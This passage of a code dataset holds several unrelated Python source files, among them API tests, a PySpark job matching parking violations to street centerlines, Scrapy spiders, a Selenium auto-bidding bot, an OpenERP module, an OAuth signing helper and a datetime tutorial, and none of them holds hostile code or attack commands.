uow:\n swarm = SwarmFactory()\n await uow.swarm.save(swarm)\n\n data = {\"health\": \"COUCOU\"}\n\n response = await async_app.put(f\"/swarm/{swarm.public_id}\", json=data)\n assert response.status_code == 200, response.text\n assert response.json()[\"health\"] == \"COUCOU\"\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\nasync def test_delete_swarm(async_app):\n apiary = ApiaryFactory.create(organization_id=uuid.UUID(\"11111111-1111-1111-1111-111111111111\"))\n swarm = SwarmFactory()\n hive = HiveFactory.create(organization_id=apiary.organization_id, apiary=apiary, swarm=swarm)\n async with UnitOfWork() as uow:\n await uow.apiary.save(apiary)\n await uow.swarm.save(swarm)\n await uow.hive.save(hive)\n\n response = await async_app.get(f\"/swarm/{swarm.public_id}\")\n assert response.status_code == 200, response.text\n\n response = await async_app.delete(f\"/swarm/{swarm.public_id}\")\n assert response.status_code == 200, response.text\n\n response = await async_app.get(f\"/swarm/{swarm.public_id}\")\n assert response.status_code == 404, response.text\n\n await asyncio.sleep(0)\n\n async with UnitOfWork() as uow:\n comments = await uow.comment.list(hive_id=hive.public_id)\n\n assert len(comments) == 1\n","sub_path":"aristaeus/tests/unit/api/test_swarm.py","file_name":"test_swarm.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"113324747","text":"# inputs a violation number\n# returns integer value or tuple of integers\n# strips out letters\n# returns None for no matches for only letters and --\ndef getHouseNumber(hn):\n \n match = None\n \n import re\n\n # remove all alphabetical letters from string\n def stripAZ(string):\n return re.sub('\\D', '', string.strip())\n\n # does the house number contain any digits\n if(re.search(r'\\d', hn)):\n # try to process it as an integer\n try:\n hn = int(hn)\n match = (\"int\",hn)\n # if fail try to process as compound split by \"-\"\n except ValueError:\n\n # split the house number\n test_split = hn.split(\"-\")\n \n # if the house number split only contains one value\n # treat it as an integer and strip \n if(len(test_split) == 1):\n hn = stripAZ(hn)\n match = (\"int\",int(hn))\n # if it is compound\n # strip out letters\n # test and return \n elif(len(test_split) == 2):\n \n # remove all letters from the tuple\n strip = (stripAZ(test_split[0]), stripAZ(test_split[1]))\n\n if(len(strip[0]) > 0 and len(strip[1]) > 0):\n match = ('compound', (strip[0], strip[1]))\n else:\n # this tests whethere the tuple has only one number on either side of the -\n # return only that number\n if(len(strip[0]) > 0):\n match = (\"int\",int(strip[0]))\n elif(len(strip[1]) > 0):\n match = (\"int\",int(strip[1]))\n elif(match is None):\n # split the house number\n test_split = hn.split(\"--\")\n\n # if the house number split only contains one value\n # treat it as an integer and strip \n if(len(test_split) == 1):\n hn = stripAZ(hn)\n match = (\"int\",int(hn))\n # if it is compound\n # strip out letters\n # test and return \n elif(len(test_split) == 2):\n\n # remove all letters from the tuple\n strip = (stripAZ(test_split[0]), stripAZ(test_split[1]))\n\n if(len(strip[0]) > 0 and len(strip[1]) > 0):\n match = ('compound', (strip[0], strip[1]))\n else:\n # this tests whethere the tuple has only one number on either side of the -\n # return only that number\n if(len(strip[0]) > 0):\n match = (\"int\",int(strip[0]))\n elif(len(strip[1]) > 0):\n match = (\"int\",int(strip[1]))\n\n return match\n else:\n return None\n\n# converts violation county code abriveation to \n# centerline code 1 - 5\ndef getCounty(county):\n county_dict =[\n ['MAN', 'MH', 'MN', 'NEWY', 'NEW', 'Y', 'NY', 'NEW Y'], \n ['BRONX', 'BX', 'PBX'], \n ['BK', 'K', 'KING', 'KINGS'],\n ['Q', 'QN', 'QNS', 'QU', 'QUEEN'],\n ['R', 'RICHMOND', 'ST']]\n\n match = None\n for row in enumerate(county_dict):\n if(county.upper() in row[1]):\n match = row[0] + 1\n\n return str(match)\n\ndef getYear(year):\n\n match = None\n\n try:\n match = year.split(\"/\")[2]\n except IndexError:\n match = None\n return match\n\n# return cleaned violations in tuple with the key being \ndef processViolations(pid, records):\n \n import csv \n\n if(pid == 0):\n next(records)\n \n reader = csv.reader(records)\n\n for row in reader:\n\n test_row = [row[4], row[21], row[23], row[24]]\n\n if(None not in test_row):\n # checks if values are empty string or string with no data besides whitespace\n if(all(len(i.strip()) > 0 for i in test_row)):\n \n year = getYear(row[4])\n\n if(year is not None):\n if(int(year) >= 2015):\n\n county = getCounty(row[21])\n\n house_number = row[23]\n\n street_name = row[24].upper()\n\n violation_row = [house_number, street_name, county, year]\n\n key = \"__\".join(violation_row)\n\n yield (key, 1)\n\n\ndef matchHouseNumber(hn, odd_house, even_house):\n \n match = False\n \n checkHouseNumber = getHouseNumber(str(hn))\n \n def compareHouseNumberAsInt(hn, c_low, c_high):\n match = False\n try:\n if(hn >= int(c_low) and hn <= int(c_high)):\n match = True\n else:\n match = compareTupes(hn, c_low, c_high)\n except ValueError:\n match = compareTupes(hn, c_low, c_high)\n\n return match\n\n # compares a given violation compound house number\n # with compound centerline datapoints\n # returns true or false if a match is made\n def compareTupes(test,low,high):\n\n # input cscl data is compound\n if(len(low.strip() ) > 0 and len(high.strip()) >0):\n try:\n a = low.split(\"-\")\n a = int(str(a[0]) + str(a[1]))\n\n b = high.split(\"-\")\n b = int(str(b[0]) + str(b[1]))\n\n z = 0\n if(type(test) == int):\n z = test\n else:\n z = int(str(test[0]) + str(test[1]))\n\n if(z >= a and z <= b):\n return True\n else:\n return False\n except IndexError:\n # return True\n hn = 0\n try:\n hn = int(test)\n if(hn >= int(low) and hn <= int(high)):\n return True\n else:\n return False\n except ValueError:\n\n a = str(float(low)).split(\".\")\n a = int(str(a[0]) + str(a[1]))\n\n b = str(float(high)).split(\".\")\n b = int(str(b[0]) + str(b[1]))\n\n z = 0\n if(type(test) == int):\n z = test\n else:\n z = int(str(test[0]) + str(test[1]))\n\n if(z >= a and z <= b):\n return True\n else:\n return False\n except TypeError:\n return False\n\n if(checkHouseNumber is not None):\n # violation house number is an integer\n # assumes that a integer house number can only match with a integer centerline value\n house_type = checkHouseNumber[0]\n hn = checkHouseNumber[1]\n \n if(house_type == \"int\"):\n \n if((hn % 2) == 0):\n match = compareHouseNumberAsInt(hn, even_house[0], even_house[1])\n else:\n match = compareHouseNumberAsInt(hn, odd_house[0], odd_house[1])\n \n # violation house number is compound\n elif(house_type == 'compound'):\n if((int(hn[1]) % 2) == 0):\n match = compareTupes(hn, even_house[0], even_house[1])\n else:\n match = compareTupes(hn, odd_house[0], odd_house[1])\n\n else:\n match = False\n # returns either True or False\n return match\n\n# Read the centerline data\n# parse the data to get only the fields we need\n# return the parsed dataset as a two dimensional array\ndef readCenterLineDataRDD(pid, records):\n\n import csv\n\n if(pid == 0):\n next(records)\n\n reader = csv.reader(records)\n\n for row in reader:\n\n boro = row[13]\n\n physicalID = row[0]\n\n odd_house = [row[2], row[3]]\n\n even_house = [row[4], row[5]]\n \n full_street_key = (row[28].upper(), boro)\n\n street_label_key = (row[10].upper(), boro)\n\n yield((full_street_key, street_label_key), (physicalID, odd_house, even_house))\n\n\n# writes data csv \n# unpacks value tuples\ndef toCSVLine(data):\n string = []\n \n for d in data:\n if(type(d) is list):\n string.append(','.join(str(e) for e in d))\n else:\n string.append(d)\n return ','.join(str(e) for e in string )\n\n# def toCSVLine(data):\n# return ','.join(str(d) for d in data)\n# violation example joined by\n# [house_number, street_name, county, year]\n# currently returns NONE if no match is made\n# which means that the given violation did not match a centerline\ndef mapToCenterLineData(record, cscl_data):\n \n import re\n \n d = record[0].split(\"__\")\n # key is violation street_name and county \n key = (d[1], d[2])\n\n match = None\n \n # return((key), 0)\n # checks to see if violation street name matches fullstreet or st label in centerline data by key\n if key in cscl_data:\n\n # street matches need to check if any of the house numbers match\n # 0 - physcicalID\n # low\n # high\n for house_range in cscl_data[key]:\n\n # takes violation house number and odd_house and even_house as inputs\n # returns true or false if a match is made\n # violation house number, odd_house, even_house\n if(matchHouseNumber(d[0], house_range[1], house_range[2])):\n\n physicalID = house_range[0]\n\n year = d[3]\n\n new_key = physicalID + \"-\" + year\n\n match = (new_key, int(record[1]))\n else:\n match = None\n\n return match\n\n# input value as a nested tuple\n# returns list of flattened tuples\ndef unpackTupes(data):\n\n import statsmodels.api as sm\n\n years = {\n \"2015\":0,\n \"2016\" :0,\n \"2017\": 0,\n \"2018\": 0,\n \"2019\": 0\n }\n\n def foo(a, b=None):\n if a in years:\n years[a] = b\n\n if(data[1] is not None):\n for i in data[1]:\n foo(*i)\n\n def convertToInts(test_list):\n return [int(i) for i in test_list] \n\n Y = convertToInts(list(years.values()))\n\n X = convertToInts(list(years.keys()))\n\n X = sm.add_constant(X)\n\n model = sm.OLS(Y,X)\n\n results = model.fit()\n\n year_ols = results.params[1]\n\n j = list(years.values())\n\n j.append(year_ols)\n\n return j\n\ndef keyGen(pid, records):\n \n import csv\n\n if(pid == 0):\n next(records)\n\n reader = csv.reader(records)\n\n for row in reader:\n\n physicalID = row[0]\n\n yield(physicalID, 0)\n\nif __name__ == \"__main__\":\n\n import time\n start_time = time.time()\n\n from pyspark import SparkContext\n sc = SparkContext()\n\n import sys\n\n output_location = sys.argv[1]\n\n violation_data_file_location = \"hdfs:///tmp/bdm/nyc_parking_violation/*.csv\"\n # violation_data_file_location = \"./Data/data/*.csv\"\n cscl_data_location = \"hdfs:///tmp/bdm/nyc_cscl.csv\"\n # cscl_data_location = \"./Data/nyc_cscl.csv\"\n\n cscl_data_read = sc.textFile(cscl_data_location)\n\n cscl_data_map = cscl_data_read.mapPartitionsWithIndex(readCenterLineDataRDD) \\\n .flatMap(lambda x: ( ((x[0][0]), (x[1])), ((x[0][1]), (x[1])) )) \\\n .groupByKey() \\\n .collectAsMap()\n\n # print(\"created cscl dictionary\",len(cscl_data_map.keys()))\n \n cscl_data_broadcast = sc.broadcast(cscl_data_map).value\n\n cscl_keys = cscl_data_read.mapPartitionsWithIndex(keyGen) \\\n .reduceByKey(lambda x,y: x+y) \\\n .sortByKey()\n\n rdd = sc.textFile(violation_data_file_location)\n \n counts = rdd.mapPartitionsWithIndex(processViolations) \\\n .reduceByKey(lambda x,y: x+y) \\\n .map(lambda data: mapToCenterLineData(data, cscl_data_broadcast)) \\\n .filter(lambda x: x is not None) \\\n .reduceByKey(lambda x,y: x+y) \\\n .map(lambda x: (x[0].split(\"-\")[0], (x[0].split(\"-\")[1], x[1]))) \\\n .groupByKey() \\\n .map(lambda x: (x[0], sorted(x[1], key=lambda z: z[0], reverse=False))) \\\n \n joined = cscl_keys.leftOuterJoin(counts)\n\n joined.mapValues(lambda x: unpackTupes(x)) \\\n .map(toCSVLine) \\\n .saveAsTextFile(output_location)\n\n print (\"done processing!\", ((time.time() - start_time) / 60), \" minutes to run\")","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":12346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"130665945","text":"\"\"\"This file is a MetaMarkGenetics spider created on top of the SimpleList\nscrapy crawl metamarkgenetics -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://metamarkgenetics.com/about-us/careers\"\n\nsample url:\n http://metamarkgenetics.com/about-us/careers\n\"\"\"\n\nfrom zlib import crc32\nfrom urlparse import urljoin\nfrom brightcorp.base.atsspider2.templates import SimpleList\nfrom brightcorp.processors import RemoveBadElements\n\n\nclass MetaMarkGenetics(SimpleList):\n\n name = 'metamarkgenetics'\n\n def get_job_url(self, sel, response, *args, **kwargs):\n (url,) = sel.xpath('./@href').extract()\n return urljoin(response.url, url)\n\n def get_ref_num(self, sel, response, *args, **kwargs):\n return self.name + '-' + str(crc32(response.url))\n\n def get_logo_url(self, sel, response, *args, **kwargs):\n (logourl,) = sel.xpath('//a[@class=\"navbar-brand\"]/img/@src').extract()\n return urljoin(response.url, logourl)\n\n parse_job_index_rules = {\n 'base': '//div[@class=\"jobList\"]/a',\n 'joburl': {'function': get_job_url},\n 'relative': {\n 'logo_url': {'function': get_logo_url},\n },\n }\n\n parse_job_rules = {\n 'title': {'xpath': {'xpaths': '//div[@class=\"contain jobPage\"]/h1/text()'}},\n 'description': {\n 'xpath': {\n 'xpaths': '//div[@class=\"contain jobPage\"]/h1/following-sibling::node()',\n 'processors': [RemoveBadElements(['a'])]\n }\n },\n 'referencenumber': {'function': get_ref_num}\n\n }\n","sub_path":"brightcorp/brightcorp/spiders/metamarkgenetics.py","file_name":"metamarkgenetics.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"421890392","text":"# pylint:disable=missing-docstring,line-too-long,import-error,relative-import,no-member,no-self-use,unnecessary-pass,bare-except,super-init-not-called\n\"\"\"Tennessee valley authority spider\"\"\"\n__author__ = 'Afroze Khan'\n\n__created__ = '10/25/2014'\n\nfrom scrapy.spider import Spider\nfrom scrapy.selector import Selector\nfrom scrapy import Request\nfrom helpers.string_processor import process_string, remove_tags\nfrom datetime import date\nfrom helpers.items import BaseItem\nfrom urlparse import urljoin\n\nclass NewsReleases(Spider):\n \"\"\"\n Crawler for TN VA spider\n \"\"\"\n name = \"tnva-newsrelease\"\n allowed_domains = \"tva.com\"\n\n def __init__(self):\n self.start_urls = [\"http://www.tva.com/news/releases/index.htm\"]\n current_year = date.today().year\n min_year = current_year - 2\n for year in xrange(min_year, current_year):\n self.start_urls.append(\"http://www.tva.com/news/releases/index%s.htm\" %(year))\n\n\n def parse(self, response):\n \"\"\"\n Parse function returns item after selecting item in response\n \"\"\"\n sites = response.css(\"div#maincolumn p\")\n for site in sites:\n item = BaseItem()\n link = site.css(\"a::attr(href)\").extract()\n if not link:\n continue\n\n item['title'] = process_string(site.css('a::text').extract()[0])\n item['publishdate'] = process_string(\"\".join(site.css(\"::text\").extract()[1:])).strip()\n if \".pdf\" in link[0]:\n item['url'] = urljoin(response.url, link[0])\n yield item\n else:\n url = urljoin(response.url, link[0])\n request = Request(url, dont_filter=True, callback=self.parse_page)\n request.meta['item'] = item\n yield request\n\n def parse_page(self, response):\n \"\"\"\n Parse function returns item after selecting item in response\n \"\"\"\n item = response.meta['item']\n sel = Selector(response)\n item['url'] = response.url\n content = \"\"\n summary = sel.css('div#maincolumn p,div#maincolumn ul').extract()\n for text in summary:\n content = \"%s %s\"%(content, remove_tags(process_string(text)))\n item['summary'] = content[:1500]\n yield item\n","sub_path":"spiders/tn/va/NewsReleases.py","file_name":"NewsReleases.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"105089087","text":"#coding=utf-8\n'''\nCreated on 2017年6月12日\n\n@author: Administrator\n'''\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.common.exceptions import NoSuchElementException\nimport re,pickle,os\nfrom time_out import waittime\nfrom tkinter import *\nimport tkinter.messagebox\n\ndef writcol(col):\n with open(\"collocation.pic\",\"wb\") as f:\n pickle.dump(col, f)\ndef loadcol():\n try:\n with open(\"collocation.pic\",\"rb\") as f:\n col=pickle.load(f) \n return col \n except IOError:\n return 0\n\n\nclass lishitest:\n def __init__(self):\n self.driver=webdriver.Chrome('C:/chromedriver')\n self.driver.get('https://jr.yatang.cn/Financial/welfare')\n \n self.driver.maximize_window()\n self.wait=waittime(self.driver,10)\n \n \n \n \n def persi_ele(self,by_vale,byse='xpath'):\n while True:\n ele=self.wait.get_ele(byse,by_vale)\n if ele==0:\n continue\n else:\n if ele.is_displayed():\n break\n else:\n print(\"控件不可见!\")\n continue\n return ele \n def lishinum(self):\n pr_ele=self.persi_ele('wf_move_box','class')\n ele_list=pr_ele.find_elements_by_class_name('wf_list_box')\n ele_list=filter(lambda x:x.get_attribute('iborrowid')!='0',ele_list)\n lishinumer=0\n ele_praser=0\n for i in ele_list:\n ele=i.find_element_by_class_name('wf_xq_lv')\n ele_pra=int(re.sub('\\W','',ele.text))\n if ele_pra>ele_praser:\n ele_praser=ele_pra\n lishinumer=i.get_attribute('iborrowid')\n return lishinumer\n def set_xpath(self):\n lishinumer=self.lishinum()\n self.numer_xpath='//*[@id=\"amountt_%s\"]' % lishinumer\n self.check_xpath='//*[@id=\"incheck_%s\"]' % lishinumer\n self.ppay_xpath='//*[@id=\"ppay_%s\"]' % lishinumer\n self.commit_xpath='//*[@id=\"button_%s\"]' % lishinumer\n self.withdra_class='aj_withdrawalCash_%s' % lishinumer\n self.time_class='lefttime_%s' % lishinumer\n \n def login(self,username,pwd):\n self.driver.get('https://jr.yatang.cn/NewLogin/index/referer/')\n self.driver.switch_to.frame(0)\n self.persi_ele('//*[@id=\"js-username\"]').send_keys(username)\n \n self.persi_ele('//*[@id=\"js-password\"]').send_keys(pwd)\n \n \n self.persi_ele('//*[@id=\"js-login\"]').click()\n \n sleep(2)\n login_ele=self.wait.get_ele('xpath','//*[@id=\"top\"]/div[1]/div/div[2]/a[2]')\n \n if login_ele.text=='免费注册':\n self.login(username,pwd)\n \n\n\n def wrrtenum(self,numer):\n if numer==None:\n dra_text=self.persi_ele(self.withdra_class, 'class').text\n \n numer=int(float(dra_text.strip('¥').replace(',','')))\n \n \n self.persi_ele(self.numer_xpath).send_keys(numer)\n \n \n \n\n def giter(self,pay_pwd,numer=None):\n self.wrrtenum(numer)\n ele=self.persi_ele(self.check_xpath)\n ele.click()\n self.miaochu(pay_pwd)\n def miaochu(self,pay_pwd):\n pay_ele=self.persi_ele(self.ppay_xpath)\n pay_ele.send_keys(pay_pwd)\n commit_ele=self.persi_ele(self.commit_xpath)\n commit_ele.click()\n \n sleep(10)\n check_ele=self.persi_ele('/html/body/div[5]/div/div/div/div[1]/div[1]/b')\n print(check_ele.text)\n\n def timeset(self,username,pwd):\n self.set_xpath()\n \n while True:\n self.driver.refresh()\n login_ele=self.wait.get_ele('xpath','//*[@id=\"top\"]/div[1]/div/div[2]/a[2]')\n \n if login_ele.text=='免费注册':\n self.login(username,pwd)\n self.driver.get('https://jr.yatang.cn/Financial/welfare')\n ti_text=self.wait.get_ele('class',self.time_class).text\n ti_list=ti_text.split(':')\n ti_sum=int(ti_list[0])*3600+int(ti_list[1])*60+int(ti_list[2])\n #ti_sum=int(ti_list[2])\n print('距离投秒时间还有%d秒' % ti_sum)\n if ti_sum>600:\n sleep(300)\n continue\n elif ti_sum>300:\n sleep(180)\n continue\n elif ti_sum>200:\n sleep(90)\n continue\n elif ti_sum>50:\n sleep(12)\n continue\n elif ti_sum>10:\n sleep(8)\n continue\n elif ti_sum>5:\n sleep(ti_sum-2)\n continue\n else:\n break\ndef main_go():\n \n col_list=loadcol()\n if col_list==0:\n col_list=[\"\",\"\",\"\"]\n\n root=Tk()\n width_n=root.winfo_screenwidth()/2-200\n height_n=root.winfo_screenheight()/2-150\n root.geometry('350x300+%d+%d' % (int(width_n),int(height_n)))\n\n lab1=Label(root,text=\"请输入雅堂帐户用户名:\").pack()\n username_var=StringVar()\n Entry(root,textvariable=username_var).pack()\n username_var.set(col_list[0])\n\n lab2=Label(root,text=\"请输入雅堂帐户密码:\").pack()\n pwd_var=StringVar()\n Entry(root,textvariable=pwd_var,show='*').pack()\n pwd_var.set(col_list[1])\n lab3=Label(root,text=\"请输入雅堂帐户交易密码:\").pack()\n paypwd_var=StringVar()\n Entry(root,textvariable=paypwd_var).pack()\n paypwd_var.set(col_list[2])\n\n lab4=Label(root,text=\"请输入投资金额(置 空将默认为最大金额):\").pack()\n pranum_var=StringVar()\n Entry(root,textvariable=pranum_var).pack()\n pranum_var.set(\"\")\n def click_on():\n username=username_var.get()\n pwd=pwd_var.get()\n paypwd=paypwd_var.get()\n pranum=pranum_var.get()\n if username and pwd and paypwd:\n col=[username,pwd,paypwd]\n writcol(col)\n \n lishi=lishitest()\n lishi.timeset(username,pwd)\n if pranum:\n lishi.giter(paypwd,pranum)\n else:\n lishi.giter(paypwd)\n \n else:\n tkinter.messagebox.askokcancel(\"提示\",\"除投资金额外所有项不可为空,如果有误将导致无法登录或抢秒时交易密码错误。\")\n \n \n b1=Button(root,text=\"开始抢秒\",command=click_on,bg=\"red\",width=15,fg=\"blue\").pack()\n root.mainloop()\n\nif __name__=='__main__':\n main_go()\n\n","sub_path":"gitskills/lishitest/lishitest.py","file_name":"lishitest.py","file_ext":"py","file_size_in_byte":6540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"638132876","text":"# -*- encoding: utf-8 -*-\n\n##############################################################################\n#\n# Copyright (c) 2010 E.Samyn - info@open-shift.com\n# Author: E.Samyn\n#\n# This file is part of the hr_mission module\n#\n# WARNING: This program as such is intended to be used by professional\n# programmers who take the whole responsability of assessing all potential\n# consequences resulting from its eventual inadequacies and bugs\n# End users who are looking for a ready-to-use solution with commercial\n# garantees and support are strongly adviced to contract a Free Software\n# Service Company\n#\n# This program is Free Software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; \n# If not, see or write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n##############################################################################\nfrom osv import fields, osv\n\nclass hr_employee(osv.osv):\n\t_name = \"hr.employee\"\n\t_description = \"Employees' missions\"\n\t_inherit = \"hr.employee\"\n\t_columns = {'in_mission' : fields.boolean('In mission'),\n\t\t\t\t'missions_ids' : fields.one2many('hr.mission', 'employee_id', 'Missions')}\n\nhr_employee()\n\nclass hr_mission(osv.osv):\n\t_name = 'hr.mission'\n\t_description = 'Mission object'\n\t_columns = {\n\t\t'employee_id' : fields.many2one('hr.employee', 'Employee',ondelete='cascade'),\n\t\t'name' : fields.char('Mission label',size=80,required=True),\n\t\t'mission_objective' : fields.text('Objective'),\n\t\t'mission_start_date' : fields.date(\"Start date\"),\n\t\t'mission_end_date' : fields.date(\"End date\"),\n\t\t'mission_partner' : fields.many2one('res.partner', 'Mission partner'),\n\t\t'mission_location' : fields.many2one('res.partner.address', 'Partner mission location'),\n#\t\t'mission_project' : fields.many2one('hr.employee', 'Employee'),\n\t\t'mission_partner_manager': fields.char('Partner mission manager', size=60),\n\t\t'mission_email' : fields.char('Mission email', size=60),\n\t\t'mission_tel' : fields.char('Mission phone', size=60),\t\t\n\t\t'mission_last_eval_date' : fields.date(\"Last evaluation\"),\n\t\t'mission_next_eval_date' : fields.date(\"Next evaluation\"),\n\t\t'mission_evaluation' : fields.text('Evaluation'),\n\t\t'mission_notes' : fields.text('Notes'),\n\t}\nhr_mission()","sub_path":"addons-community/hr_mission/hr_mission.py","file_name":"hr_mission.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"353509483","text":"import pandas as pd\ntry:\n import uproot as uproot\nexcept ImportError:\n import uproot3 as uproot\nfrom dask import delayed\nimport dask.dataframe as dd\nimport gc\n\ndef clean(df,xsecwt=1,sel='',EleType=99):\n \n df.query(sel,inplace = True)\n df[\"EleType\"]=EleType\n df[\"NewWt\"]=1.0\n df[\"rwt\"]=1.0\n df[\"xsecwt\"]=xsecwt\n \n df['ele_fbrem']=df['ele_fbrem'].astype(float)\n df['ele_convDist']=df['ele_convDist'].astype(float)\n df['ele_convDcot']=df['ele_convDcot'].astype(float)\n df.loc[df[\"EleMVACats\"] == 4, \"EleMVACats\"] = 3\n print('Selected for EleType ' +str(EleType)+ ' =' + str(df['NewWt'].sum()))\n return df\n\ndef daskframe_from_rootfiles(processes, treepath,branches):\n def get_df(file, xsecwt, selection, EleType, treepath=None,branches=['ele*']):\n tree = uproot.open(file)[treepath]\n print(file)\n #return clean(tree.arrays(branches,library=\"pd\"),xsec=xsec,EleType=EleType)\n return clean(tree.pandas.df(branches=branches),xsecwt=xsecwt,sel=selection,EleType=EleType)\n #return tree.pandas.df()\n\n dfs=[]\n for process in processes:\n dfs.append(delayed(get_df)(process['path'],process['xsecwt'],process['selection'] +\" & \" + process['CommonSelection'],process['EleType'],treepath, branches))\n daskframe = dd.from_delayed(dfs)\n return daskframe\n\n","sub_path":"Tools/readData.py","file_name":"readData.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"223619293","text":"'''\n oauth_hook.oauth\n ----------------\n\n A module providing various OAuth related containers.\n'''\n\nimport base64\nimport hmac\nimport urlparse\n\nfrom urllib import quote, urlencode\nfrom hashlib import sha1\n\n\nclass OAuthObject(object):\n '''A base class for OAuth token objects.'''\n verifier = None\n\n def __init__(self, key, secret):\n self.key = key\n self.secret = secret\n\n # ensure key and secret are set\n if None in (key, secret):\n raise ValueError('Key and Secret must be set!')\n\n\nclass Consumer(OAuthObject):\n '''The consumer token object.'''\n pass\n\n\nclass Token(OAuthObject):\n '''The access token object.'''\n pass\n\n\nclass SignatureMethod(object):\n '''A base class for signature methods providing a set of common methods.'''\n def _to_utf8(self, s):\n return unicode(s, 'utf-8').encode('utf-8')\n\n def _escape(self, s):\n return quote(self._to_utf8(s), safe='~')\n\n def _normalize_request_parameters(self, request):\n '''The OAuth 1.0/a specs indicate that parameter and body data must be\n normalized. The specifics of this operation are detailed in the\n respective specs.\n\n Here we have to ensure that parameter and body data is properly\n handled. This means that the case of params or data being strings is\n taken care of.\n\n Essentially this is achieved by checking that `request.data` and\n `request.params` are not strings. This being the case we can then\n construct a unified list of tuples from them.\n\n Otherwise we build a series intermediary lists of tuples depending on\n the type of `request.params` and `request.data`.\n '''\n\n if not type(request.params) == str and not type(request.data) == str:\n # if neither params nor data are a string, i.e. both are dicts\n\n # we concatenate the respective dicts\n data_and_params = \\\n dict(request.data.items() + request.params.items())\n\n normalized = []\n for k, v in data_and_params.items():\n normalized += [(k, v)]\n elif type(request.params) == str and type(request.data) == str:\n # if both params and data are strings\n params = urlparse.urlparse.parse_qsl(request.params)\n data = urlparse.parse_qsl(request.data)\n normalized = params + data\n elif type(request.params) == str:\n # parse the string into a list of tuples\n normalized = urlparse.parse_qsl(request.params)\n\n # extract any data\n for k, v in request.data.items():\n normalized += [(k, v)]\n elif type(request.data) == str:\n # and we do the same if data\n normalized = urlparse.parse_qsl(request.data)\n\n # extract any params\n for k, v in request.params.items():\n normalized += [(k, v)]\n\n # extract values from our list of tuples and encode them as UTF-8\n encoded_normalized = []\n for t in normalized:\n k, v = t\n k, v = self._to_utf8(k), self._to_utf8(v)\n\n # save escaped key/value pairs to the request and our list\n request.data_and_params[k] = v\n encoded_normalized += [(k, v)]\n\n # stuff all the params from request.data_and_params in normalized\n for k, v in request.data_and_params.items():\n encoded_normalized += [(k, v)]\n\n # sort the params as per the OAuth spec\n encoded_normalized.sort()\n\n # finally encode the params as a string\n escaped_normalized = urlencode(encoded_normalized)\n return escaped_normalized.replace('+', '%20').replace('%7E', '~')\n\n\nclass HmacSha1Signature(SignatureMethod):\n '''HMAC-SHA1 Signature Method.\n\n This is a signature method, as per the OAuth 1.0/a and 2.0 specs. As the\n name might suggest, this method signs parameters with HMAC using SHA1.\n '''\n name = 'HMAC-SHA1'\n\n def sign(self, request, consumer, token=None):\n '''Sign request parameters.'''\n\n # the necessary parameters we'll sign\n params_and_data = self._normalize_request_parameters(request)\n parameters = [self._escape(request.method),\n self._escape(request.url),\n params_and_data]\n\n # set our key\n key = self._escape(consumer.secret) + '&'\n if token is not None:\n key += self._escape(token.secret)\n\n # build a Signature Base String, escaping '='\n signature_base_string = '&'.join(parameters).replace('=', '%3D')\n\n hashed = hmac.new(key, signature_base_string, sha1)\n oauth_signature = base64.b64encode(hashed.digest())[:-1]\n oauth_signature = self._escape(oauth_signature)\n\n # add the signature to the request params\n request.data_and_params['oauth_signature'] = oauth_signature\n","sub_path":"oauth_hook/oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"558537131","text":"import typing\nimport re\n\nimport pytest\n\nimport aiodine\n\n\nasync def cowsay() -> None:\n pass\n\n\nclass CowSay:\n async def __call__(self) -> None:\n return\n\n def __repr__(self) -> str:\n return \"Cow says moo!\"\n\n\n@pytest.mark.parametrize(\n \"func, output\",\n [\n (cowsay, f\"Dependable(func={cowsay!r})\"),\n (CowSay(), \"Dependable(func=Cow says moo!)\"),\n ],\n)\ndef test_dependable_repr(func: typing.Callable, output: str) -> None:\n dependable = aiodine.depends(func)\n assert repr(dependable) == output\n","sub_path":"tests/models/test_dependable.py","file_name":"test_dependable.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"108689214","text":"# __author__ = 'Administrator'\n# -*- coding: utf-8 -*-\n# remark:datetime模块\n# datetime:2016.8.26\n\n# datetime是Python处理日期和时间的标准库。\n\n# 获取当前时间\n\nfrom datetime import datetime\nnow = datetime.now() # 获取当前datetime\nprint('curr time:',now)\nprint('type is:',type(datetime.now()))\n\n'''\n注意到datetime是模块,datetime模块还包含一个datetime类,通过from datetime import datetime导入的才是datetime这个类。\n\n如果仅导入import datetime,则必须引用全名datetime.datetime。\n\ndatetime.now()返回当前日期和时间,其类型是datetime。\n'''\n\n# 要指定某个日期和时间,我们直接用参数构造一个datetime:\nfrom datetime import datetime\ndt = datetime(2016,8,29,17,00) # 用指定日期时间创建datetime\nprint('指定日期:',dt)\n\n\n# 把一个datetime类型转换为timestamp只需要简单调用timestamp()方法:\nfrom datetime import datetime\ndt = datetime(2016,8,29,17,00) # 